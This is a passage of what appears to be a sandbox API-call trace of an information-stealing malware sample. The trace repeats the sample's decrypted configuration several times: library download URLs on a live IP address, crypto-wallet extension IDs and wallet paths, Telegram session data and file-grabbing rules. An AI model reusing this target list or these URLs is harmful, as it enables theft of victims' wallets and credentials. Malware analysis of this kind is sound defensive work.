Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.183] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.184] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.184] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f4830 [0266.184] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.184] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f7178 [0266.184] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.184] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f9ac0 [0266.184] lstrlenW (lpString="exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local 